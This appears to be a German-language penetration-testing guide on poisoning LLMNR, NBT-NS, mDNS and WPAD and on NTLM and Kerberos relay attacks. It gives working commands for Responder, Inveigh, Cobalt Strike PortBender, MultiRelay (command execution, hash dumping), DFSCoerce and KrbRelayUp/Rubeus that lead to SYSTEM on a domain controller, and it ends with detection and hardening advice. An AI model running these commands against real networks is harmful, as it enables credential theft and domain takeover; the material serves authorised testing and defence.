Spoofing LLMNR, NBT-NS, mDNS/DNS und WPAD und Relay-Angriffe

Reading time: 11 minutes

Netzwerkprotokolle

Lokale Hostauflösungsprotokolle

• LLMNR, NBT-NS und mDNS:
• Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS zur lokalen Namensauflösung, wenn DNS fehlschlägt. Ähnlich verwenden Apple- und Linux-Systeme mDNS.
• Diese Protokolle sind aufgrund ihrer nicht authentifizierten, broadcast-natur über UDP anfällig für Abfangen und Spoofing.
• Responder kann verwendet werden, um Dienste zu impersonifizieren, indem gefälschte Antworten an Hosts gesendet werden, die diese Protokolle abfragen.
• Weitere Informationen zur Dienstimpersonifizierung mit Responder finden Sie hier.

Web Proxy Auto-Discovery Protocol (WPAD)

• WPAD ermöglicht es Browsern, Proxy-Einstellungen automatisch zu entdecken.
• Die Entdeckung erfolgt über DHCP, DNS oder Rückfall auf LLMNR und NBT-NS, wenn DNS fehlschlägt.
• Responder kann WPAD-Angriffe automatisieren und Clients zu bösartigen WPAD-Servern leiten.

Responder für Protokollvergiftung

• Responder ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, das selektiv basierend auf Abfragetypen antwortet, hauptsächlich mit dem Ziel von SMB-Diensten.
• Es ist vorinstalliert in Kali Linux und konfigurierbar unter /etc/responder/Responder.conf.
• Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis /usr/share/responder/logs.
• Es unterstützt sowohl IPv4 als auch IPv6.
• Die Windows-Version von Responder ist hier verfügbar.

Ausführen von Responder

• Um Responder mit den Standardeinstellungen auszuführen: responder -I <Interface>
• Für aggressiveres Scannen (mit potenziellen Nebenwirkungen): responder -I <Interface> -P -r -v
• Techniken zum Erfassen von NTLMv1-Herausforderungen/Antworten für einfacheres Knacken: responder -I <Interface> --lm --disable-ess
• WPAD-Impersoinierung kann aktiviert werden mit: responder -I <Interface> --wpad
• NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst werden, und ein Authentifizierungsproxy kann eingerichtet werden: responder.py -I <interface> -Pv

DHCP-Vergiftung mit Responder

• Das Spoofing von DHCP-Antworten kann die Routing-Informationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung.
• Es erfordert präzises Wissen über die Konfiguration des Zielnetzwerks.
• Angriff ausführen: ./Responder.py -I eth0 -Pdv
• Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältige Handhabung, um Netzwerkunterbrechungen zu vermeiden.

Erfassen von Anmeldeinformationen mit Responder

• Responder wird Dienste, die die oben genannten Protokolle verwenden, impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
• Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern.

Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Störungen oder unbefugter Zugriff vermieden werden sollten.

Inveigh

Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit Inveigh und InveighZero als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im Wiki.

Inveigh kann über PowerShell betrieben werden:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Oder als C#-Binary ausgeführt:

Inveigh.exe

NTLM Relay Angriff

Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen, und gewährt eine System-Shell, wenn er erfolgreich ist. Wichtige Voraussetzungen sind:

• Der authentifizierende Benutzer muss lokalen Admin-Zugriff auf den weitergeleiteten Host haben.
• SMB-Signierung sollte deaktiviert sein.

445 Port-Weiterleitung und Tunneling

In Szenarien, in denen eine direkte Netzwerkverbindung nicht möglich ist, muss der Verkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie PortBender helfen dabei, den Verkehr auf Port 445 auf einen anderen Port umzuleiten, was entscheidend ist, wenn lokaler Admin-Zugriff für das Laden von Treibern verfügbar ist.

PortBender-Setup und -Betrieb in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Andere Werkzeuge für NTLM Relay-Angriffe

• Metasploit: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet.
• smbrelayx: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors.
• MultiRelay: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relaying, Befehle auszuführen oder Hashes zu dumpen.

Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht.

MultiRelay-Betrieb

MultiRelay wird aus dem /usr/share/responder/tools Verzeichnis ausgeführt, wobei spezifische IPs oder Benutzer angevisiert werden.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Diese Tools und Techniken bilden ein umfassendes Set für die Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.

NTLM-Logins erzwingen

In Windows könnten Sie in der Lage sein, einige privilegierte Konten zu zwingen, sich an beliebigen Maschinen zu authentifizieren. Lesen Sie die folgende Seite, um zu erfahren, wie:

Force NTLM Privileged Authentication

Kerberos Relay-Angriff

Ein Kerberos Relay-Angriff stiehlt ein AP-REQ-Ticket von einem Dienst und verwendet es erneut gegen einen zweiten Dienst, der den gleichen Computer-Kontenschlüssel teilt (da beide SPNs auf demselben $ Maschinenkonto sitzen). Dies funktioniert, obwohl die Dienstklassen der SPNs unterschiedlich sind (z. B. CIFS/ → LDAP/), da der Schlüssel, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String ist kein Teil der Signatur.

Im Gegensatz zum NTLM-Relay ist der Sprung auf die gleiche Host beschränkt, aber wenn Sie ein Protokoll anvisieren, das es Ihnen ermöglicht, in LDAP zu schreiben, können Sie in Resource-Based Constrained Delegation (RBCD) oder AD CS-Registrierung einsteigen und NT AUTHORITY\SYSTEM in einem einzigen Schritt übernehmen.

Für detaillierte Informationen zu diesem Angriff überprüfen Sie:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos-Grundlagen

• Tickets sind mit dem passwortabgeleiteten Schlüssel des Kontos, das den SPN besitzt, verschlüsselt.
• Der Authenticator im AP-REQ hat einen Zeitstempel von 5 Minuten; die Wiederholung innerhalb dieses Fensters ist gültig, bis der Dienstcache ein Duplikat sieht.
• Windows überprüft selten, ob der SPN-String im Ticket mit dem Dienst übereinstimmt, den Sie ansprechen, sodass ein Ticket für CIFS/HOST normalerweise gut auf LDAP/HOST entschlüsselt.

• 2. Was muss wahr sein, um Kerberos zu relayen

1. Geteilter Schlüssel: Quell- und Ziel-SPNs gehören zum selben Computer-Konto (Standard auf Windows-Servern).
2. Kein Kanal-Schutz: SMB/LDAP-Signierung deaktiviert und EPA für HTTP/LDAPS deaktiviert.
3. Sie können die Authentifizierung abfangen oder zwingen: LLMNR/NBNS-Vergiftung, DNS-Spoofing, PetitPotam / DFSCoerce RPC, gefälschter AuthIP, bösartiger DCOM usw.
4. Ticketquelle nicht bereits verwendet: Sie gewinnen das Rennen, bevor das echte Paket ankommt oder blockieren es vollständig; andernfalls wird der Replay-Cache des Servers Event 4649 auslösen.
5. Sie müssen irgendwie in der Lage sein, ein MitM in der Kommunikation durchzuführen, möglicherweise indem Sie Teil der DNSAmins-Gruppe sind, um die DNS des Domäne zu ändern oder die HOST-Datei des Opfers zu ändern.

Kerberos Relay Schritte

• 3.1 Recon den Host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Starten Sie den Relay-Listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp bündelt KrbRelay → LDAP → RBCD → Rubeus → SCM-Bypass in einer Binärdatei.

• 3.3 Kerberos-Authentifizierung erzwingen

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce lässt den DC ein Kerberos CIFS/DC01 Ticket an uns senden.

• 3.4 Leite die AP-REQ weiter

KrbRelay extrahiert den GSS Blob aus SMB, verpackt ihn in einen LDAP Bind und leitet ihn an ldap://DC01 weiter – die Authentifizierung gelingt, weil der gleiche Schlüssel ihn entschlüsselt.

• 3.5 Missbrauch von LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

Weitere Pfade, die es wert sind, bekannt zu sein

Fehlerbehebung

Erkennung

• Anstieg von Event 4769 für CIFS/, HTTP/, LDAP/ aus derselben Quelle innerhalb von Sekunden.
• Event 4649 im Dienst zeigt an, dass ein Replay erkannt wurde.
• Kerberos-Anmeldung von 127.0.0.1 (Relay zu lokalem SCM) ist hochgradig verdächtig—über Sigma-Regel in KrbRelayUp-Dokumenten abbilden.
• Änderungen an den Attributen msDS-AllowedToActOnBehalfOfOtherIdentity oder msDS-KeyCredentialLink beobachten.

Härtung

1. Durchsetzen von LDAP- und SMB-Signierung + EPA auf jedem Server.
2. SPNs aufteilen, sodass HTTP nicht im selben Konto wie CIFS/LDAP ist.
3. Patchen von Zwangsvektoren (PetitPotam KB5005413, DFS, AuthIP).
4. Setzen Sie ms-DS-MachineAccountQuota = 0, um unerwünschte Computeranmeldungen zu stoppen.
5. Alarmieren Sie bei Event 4649 und unerwarteten Loopback-Kerberos-Anmeldungen.

Referenzen

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html